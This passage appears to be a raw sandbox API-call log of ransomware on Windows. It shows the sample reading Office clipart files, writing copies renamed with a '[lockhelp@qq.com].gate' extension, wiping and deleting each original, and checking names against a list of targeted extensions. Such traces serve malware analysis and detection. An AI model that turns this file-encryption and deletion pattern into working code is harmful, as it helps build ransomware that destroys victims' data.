lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.932] SetEndOfFile (hFile=0x4a8) returned 1 [0280.932] CloseHandle (hObject=0x4a8) returned 1 [0280.932] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.932] SetEndOfFile (hFile=0x4a4) returned 1 [0281.013] CloseHandle (hObject=0x4a4) returned 1 [0281.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0281.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.015] lstrlenW (lpString=".doc") returned 4 [0281.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString=".docx") returned 5 [0281.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.015] lstrlenW (lpString=".pdf") returned 4 [0281.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString=".xls") returned 4 [0281.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.015] lstrlenW (lpString=".xlsx") returned 5 [0281.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.015] lstrlenW (lpString=".ppt") returned 4 [0281.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.015] lstrlenW (lpString=".zip") returned 4 [0281.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.015] lstrlenW (lpString=".rar") returned 4 [0281.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString=".bz2") returned 4 [0281.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString=".7z") returned 3 [0281.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.015] lstrlenW (lpString=".dbf") returned 4 [0281.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.015] lstrlenW (lpString=".1cd") returned 4 [0281.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.015] lstrlenW (lpString=".jpg") returned 4 [0281.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.016] lstrlenW (lpString=".doc") returned 4 [0281.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.016] lstrlenW (lpString=".docx") returned 5 [0281.016] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.016] lstrlenW (lpString=".pdf") returned 4 [0281.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.016] lstrlenW (lpString=".xls") returned 4 [0281.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.016] lstrlenW (lpString=".xlsx") returned 5 [0281.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.016] lstrlenW (lpString=".ppt") returned 4 [0281.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.016] lstrlenW (lpString=".zip") returned 4 [0281.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.016] lstrlenW (lpString=".rar") returned 4 [0281.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.016] lstrlenW (lpString=".bz2") returned 4 [0281.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.016] lstrlenW (lpString=".7z") returned 3 [0281.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.016] lstrlenW (lpString=".dbf") returned 4 [0281.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.016] lstrlenW (lpString=".1cd") returned 4 [0281.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0281.017] lstrlenW (lpString=".jpg") returned 4 [0281.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.017] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.017] lstrlenW (lpString="AN00965_.WMF") returned 12 [0281.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.017] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=7072) returned 1 [0281.017] CloseHandle (hObject=0x4a4) returned 1 [0281.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0281.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.018] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.018] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0281.018] GetLastError () returned 0x0 [0281.018] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0281.419] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0281.419] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.420] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.420] SetEndOfFile (hFile=0x4b4) returned 1 [0281.420] CloseHandle (hObject=0x4b4) returned 1 [0281.420] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.420] SetEndOfFile (hFile=0x4a4) returned 1 [0281.423] CloseHandle (hObject=0x4a4) returned 1 [0281.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0281.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.479] lstrlenW (lpString=".doc") returned 4 [0281.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.479] lstrlenW (lpString=".docx") returned 5 [0281.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.479] lstrlenW (lpString=".pdf") returned 4 [0281.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.479] lstrlenW (lpString=".xls") returned 4 [0281.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.479] lstrlenW (lpString=".xlsx") returned 5 [0281.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.479] lstrlenW (lpString=".ppt") returned 4 [0281.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.479] lstrlenW (lpString=".zip") returned 4 [0281.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.479] lstrlenW (lpString=".rar") returned 4 [0281.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.480] lstrlenW (lpString=".bz2") returned 4 [0281.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.480] lstrlenW (lpString=".7z") returned 3 [0281.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.480] lstrlenW (lpString=".dbf") returned 4 [0281.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.480] lstrlenW (lpString=".1cd") returned 4 [0281.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.480] lstrlenW (lpString=".jpg") returned 4 [0281.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.482] lstrlenW (lpString=".doc") returned 4 [0281.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.482] lstrlenW (lpString=".docx") returned 5 [0281.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.482] lstrlenW (lpString=".pdf") returned 4 [0281.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.482] lstrlenW (lpString=".xls") returned 4 [0281.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.482] lstrlenW (lpString=".xlsx") returned 5 [0281.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.482] lstrlenW (lpString=".ppt") returned 4 [0281.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.483] lstrlenW (lpString=".zip") returned 4 [0281.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.483] lstrlenW (lpString=".rar") returned 4 [0281.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.483] lstrlenW (lpString=".bz2") returned 4 [0281.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.483] lstrlenW (lpString=".7z") returned 3 [0281.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.483] lstrlenW (lpString=".dbf") returned 4 [0281.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.483] lstrlenW (lpString=".1cd") returned 4 [0281.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0281.483] lstrlenW (lpString=".jpg") returned 4 [0281.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.483] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.483] lstrlenW (lpString="AN01184_.WMF") returned 12 [0281.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.484] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3746) returned 1 [0281.484] CloseHandle (hObject=0x4a4) returned 1 [0281.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0281.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.485] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.485] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0281.486] GetLastError () returned 0x0 [0281.486] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xea2, lpOverlapped=0x0) returned 1 [0281.488] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0281.489] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.489] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.489] SetEndOfFile (hFile=0x4b4) returned 1 [0281.489] CloseHandle (hObject=0x4b4) returned 1 [0281.490] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.490] SetEndOfFile (hFile=0x4a4) returned 1 [0281.493] CloseHandle (hObject=0x4a4) returned 1 [0281.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0281.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.495] lstrlenW (lpString=".doc") returned 4 [0281.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.495] lstrlenW (lpString=".docx") returned 5 [0281.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.495] lstrlenW (lpString=".pdf") returned 4 [0281.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.495] lstrlenW (lpString=".xls") returned 4 [0281.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.495] lstrlenW (lpString=".xlsx") returned 5 [0281.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.495] lstrlenW (lpString=".ppt") returned 4 [0281.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.495] lstrlenW (lpString=".zip") returned 4 [0281.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.495] lstrlenW (lpString=".rar") returned 4 [0281.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.495] lstrlenW (lpString=".bz2") returned 4 [0281.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.495] lstrlenW (lpString=".7z") returned 3 [0281.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.495] lstrlenW (lpString=".dbf") returned 4 [0281.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.495] lstrlenW (lpString=".1cd") returned 4 [0281.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.496] lstrlenW (lpString=".jpg") returned 4 [0281.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.496] lstrlenW (lpString=".doc") returned 4 [0281.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.496] lstrlenW (lpString=".docx") returned 5 [0281.496] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.496] lstrlenW (lpString=".pdf") returned 4 [0281.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.496] lstrlenW (lpString=".xls") returned 4 [0281.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.496] lstrlenW (lpString=".xlsx") returned 5 [0281.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.496] lstrlenW (lpString=".ppt") returned 4 [0281.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.496] lstrlenW (lpString=".zip") returned 4 [0281.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.496] lstrlenW (lpString=".rar") returned 4 [0281.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.496] lstrlenW (lpString=".bz2") returned 4 [0281.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.496] lstrlenW (lpString=".7z") returned 3 [0281.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.497] lstrlenW (lpString=".dbf") returned 4 [0281.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.497] lstrlenW (lpString=".1cd") returned 4 [0281.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0281.497] lstrlenW (lpString=".jpg") returned 4 [0281.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.497] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.497] lstrlenW (lpString="AN01216_.WMF") returned 12 [0281.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.498] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=5836) returned 1 [0281.498] CloseHandle (hObject=0x4a4) returned 1 [0281.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0281.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.498] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.499] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0281.499] GetLastError () returned 0x0 [0281.499] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x16cc, lpOverlapped=0x0) returned 1 [0281.501] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0281.502] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.502] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.502] SetEndOfFile (hFile=0x4b4) returned 1 [0281.502] CloseHandle (hObject=0x4b4) returned 1 [0281.503] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.503] SetEndOfFile 